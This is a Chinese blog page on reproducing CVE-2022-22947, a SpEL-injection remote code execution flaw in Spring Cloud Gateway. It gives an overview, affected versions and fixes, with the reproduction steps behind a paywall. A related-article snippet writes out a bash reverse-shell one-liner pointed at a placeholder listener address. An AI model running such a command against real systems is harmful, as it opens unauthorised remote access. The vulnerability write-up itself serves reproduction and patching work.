CVE-2022-22947 Spring Cloud Gateway SpEL 表达式注入 RCE漏洞复现

已于 2022-03-05 15:22:32 修改
阅读量4.9k 收藏 1
点赞数
分类专栏： # 漏洞复现 文章标签： gateway 安全 java
于 2022-03-05 15:16:43 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_41490561/article/details/123294416
版权
本文详细介绍了CVE-2022-22947，这是一个影响Spring Cloud Gateway的安全漏洞，允许攻击者通过发送特制请求实现远程代码执行。主要影响版本为Spring Cloud Gateway < 3.1.1，漏洞等级严重。文中提供了FOFA实战复现和自动化脚本，包括如何利用漏洞执行任意命令和反弹shell。修复建议包括禁用或保护Gateway actuator endpoint，并更新到最新修复版本。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

目录

1.漏洞概述

2.影响版本

3.漏洞等级

4.漏洞复现

4.1 FOFA实战复现

可实际利用反弹shell

4.2 自动化脚本实现

5.修复建议

1.漏洞概述

        Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。据公告描述，当启用和暴露 Gateway Actuator 端点时，使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。

CVE：CVE -CVE-2022-22947

漏洞分析可参考：CVE-2022-22947: SpEL Casting and Evil Beans – Wya.pl

了解本专栏 订阅专栏 解锁全文 超级会员免费看
CVE-2022-22947 Spring Cloud Gateway RCE 复现
weixin_48645404的博客
12-14 747
Spring Cloud Gateway 远程代码执行漏洞（CVE-2022-22947）发生在Spring Cloud Gateway应用程序的Actuator端点，其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求。如果不需要Actuator，可以通过management.endpoint.gateway.enable：false配置将其禁用。官方已发布漏洞补丁及修复版本，请评估业务是否受影响后，酌情升级至安全版本。
CVE-2022-22947：Spring Cloud Gateway RCE漏洞分析以及复现
qq_50808416的博客
05-15 3779
Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关，它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告，据公告描述，当启用和暴露Gateway Actuator端点时，使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。
Spring Cloud GateWay SPEL RCE（CVE-2022-22947 ）
weixin_43263451的博客
08-15 1668
这个漏洞本质是一个SPEL注入漏洞，需要应用暴漏actuator接口用来动态添加路由当Gateway Actuator端点是启用状态并且是允许访问的以及相关配置不安全时，使用Spring Cloud Gateway的应用程序容易受到代码注入攻击。远程攻击者可以利用Actuator动态添加恶意路由，若路由中包括SPEL表达式则在路由刷新时会对其进行解析从而达到SPEL表达式注入本质是一个SPEL表达式注入漏洞，本来是只有在修改路由配置文件的情况下才能导致RCE，但是由于Gateway提供了Actuator。.
Spring Cloud Function SpEL表达式命令注入（CVE-2022-22963）
最新发布
qq_62691506的博客
04-06 140
由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理，造成了Spel表达式注入漏洞，当使用路由功能时，攻击者可利用该漏洞远程执行任意代码。将反弹shell bash -i >& /dev/tcp/监听机ip/监听端口号 0>1& 进行base64加密。出现错误页面，利用burp抓包修改请求路径方法。
Spring Cloud Gateway SPEL RCE复现
HongYu012的博客
03-05 1230
目录 0 环境搭建 影响范围： Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Gateway < 3.0.7 p牛的vulhub已经搭好docker了，vulhub/spring/CVE-2022-22947 at master · vulhub/vulhub · GitHub 也可以本地搭建 git clone https://github.com/spring-cloud/spring-cloud-gateway cd sp.
Spring Cloud Function SPEL表达式注入漏洞
Blue的博客
04-12 571
漏洞概述 该漏洞是由于Spring Cloud Function中RoutingFunction类的 apply方法将请求头中spring.cloud.function.routing-expression传入的参数值作为SPEL表 达式进行处理，攻击者可以通过构造恶意的语句来实现SPEL表达式注入漏洞。 影响版本 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2 漏洞复现 1.环境搭建 利用编译好的环境进行本地复现，下载地址： ht
Spring Cloud Function SPEL表达式注入漏洞（CVE-2022-22963）
chaojixiaojingang
04-06 7732
1.漏洞描述 SpringCloudFunction是SpringBoot开发的一个Servless中间件（FAAS），支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时， HTTP请求头 spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞，攻击者可通过该漏洞进行远程命令执行。 2.影响版本 Spring Cloud Function 3.0.0 <...
CVE-2022-22947 SpringCloud GateWay SpEL RCE.doc
07-09
CVE-2022-22947是一种影响SpringCloud GateWay的远程代码执行漏洞，通过SpEL（Spring Expression Language）实现RCE（Remote Code Execution）。下面是关于该漏洞的详细分析和知识点总结。 一、漏洞概述 CVE-2022-...
Spring Cloud Gateway远程代码执行CVE-2022-22947漏洞分析及复现
include_voidmain的博客
03-29 1893
0x01 漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。 据公布的漏洞描述称，当Spring Cloud Gateway 执行器端点启用、公开且不安全时，使用Spring Cloud Gateway的应用程序容易受到代码注入攻击。远程攻击者可以发出含有恶意代码的请求，从而允许在远程主机上任意远程执行。 0x02 漏洞影响 漏洞编号：CVE-2
CVE-2022-22947：Spring Cloud Gateway中的SPEL远程代码执行分析
CVE-2022-22947 是一个针对Spring Cloud Gateway的安全漏洞，该漏洞可能导致Spring Cloud Gateway的用户面临远程代码执行（RCE）的风险。Spring Cloud Gateway是一款用于构建API网关的服务，它提供了动态路由、过滤...
CVE-2022-22947( Spring Cloud Gateway )SPEL RCE复现
问题很多的小明
03-03 1479
CVE-2022-22947( Spring Cloud Gateway )SPEL RCE复现
Spring Cloud Function Spel表达式注入漏洞分析
m0_67391120的博客
08-24 944
简单了解了一下FaaS的的函数交付模式，和之前研究的容器安全场景下的微服务架构非常的契合，以往的大多数环境主要通过虚拟机交付逐渐演变了成了VPS、容器、API到现在的函数即服务；找到对应方法的RoutingFunction.class的文件内容，定位到对应的第80行的代码出，可以发现该方法主要Message的内容已经被传递过来；相关的配置项目可以在pom.xml当中进行修改，从项目当中可以看到依赖的组件版本为3.2.2是存在漏洞的版本，即可直接启动项目，无需其他的修改；
Spring Cloud Function SPEL表达式注入漏洞分析（CVE-2022-22963）
panda的博客
04-05 2524
影响范围： 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2 项目简介： Spring Cloud Function 是一个具有以下高级目标的项目： 通过函数促进业务逻辑的实现，可以将函数设置为HTTP端点。 将业务逻辑的开发生命周期与任何特定的运行时目标分离，以便相同的代码可以作为 Web 端点、流处理器或任务运行。 支持跨无服务器提供商的统一编程模型，以及独立运行（本地或在 PaaS 中）的能力。 在无服务器提供程序上启用 Spring Boo
Spring Cloud Function SpEL 表达式命令注入漏洞复现及利用
Tauil的博客
07-26 1109
在源码中可以看到，未修改前的代码中spring.cloud.function.routing-expression参数被functionFromExpression接口中的getValue进行处理，该方法使用了StandardEvaluationContext来进行解析SeEL表达式，从而形成了注入漏洞。时，会触发RoutingFunction逻辑，在SpringCloudFunction中，RoutingFunction类的apply方法会将请求头中的。另启一个终端，再终端中输入。...
Spring Cloud Function SpEL表达式命令注入（CVE-2022-22963）漏洞复现
weixin_54786196的博客
10-27 514
Spring Cloud Function是一个用于构建和部署基于函数的微服务的框架。它使用SpEL表达式来处理函数的输入和输出。SpEL是一种强大的表达式语言，它允许开发人员在运行时动态地计算表达式。由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理，造成了Spel表达式注入漏洞，当使用路由功能时，攻击者可利用该漏洞远程执行任意代码。
【网络安全】漏洞挖掘之Spring Cloud注入漏洞
wlaq_juju的博客
07-05 1381
在springframeworl/expression/spel/stand/InternalSpelExpressionParser/doParseExpression()方法中、会在tokenizer.process()中 对token进行 源码与字节码的判断操作、继续向下。会进入到springframework/cloud/function/context/config/RoutingFunction/functionFromExpression()方法。Payload 的构造可以参考官方测试用例。
CVE-2022-22963 SpringCloud Function SpEL注入漏洞分析
阿道夫的博客
01-30 2617
在研究分析了CVE-2022-22980 Spring Data MongoDBSpEL表达式注入漏洞之后，想起之前在spring4shell爆出之前，存在于SpringCloudFunction中的一个SpEL表达式注入漏洞，编号为CVE-2022-22963。在这里对其进行一波分析和学习。
Spring Cloud Function SpEL表达式命令注入复现（CVE-2022-22963）
prcool的博客
02-08 698
spring cloud漏洞CVE-2022-22963复现
关于Spring Cloud 表达式注入漏洞——分析复现
无问社区的博客
09-12 511
该漏洞是由于Spring Cloud Function中RoutingFunction类的 apply方法将请求头中spring.cloud.function.routing-expression传入的参数值作为SPEL表达式进行处理，攻击者可以通过构造恶意的语句来实现SPEL表达式注入漏洞。利用编译好的环境进行本地复现，下载地址：https://github.com/Pizz33/Spring-Cloud-Function-SpEL。执行POC后，vps上收到了弹回的shell。vps上进行端口监听。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

afei00123

您的支持是我创作最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值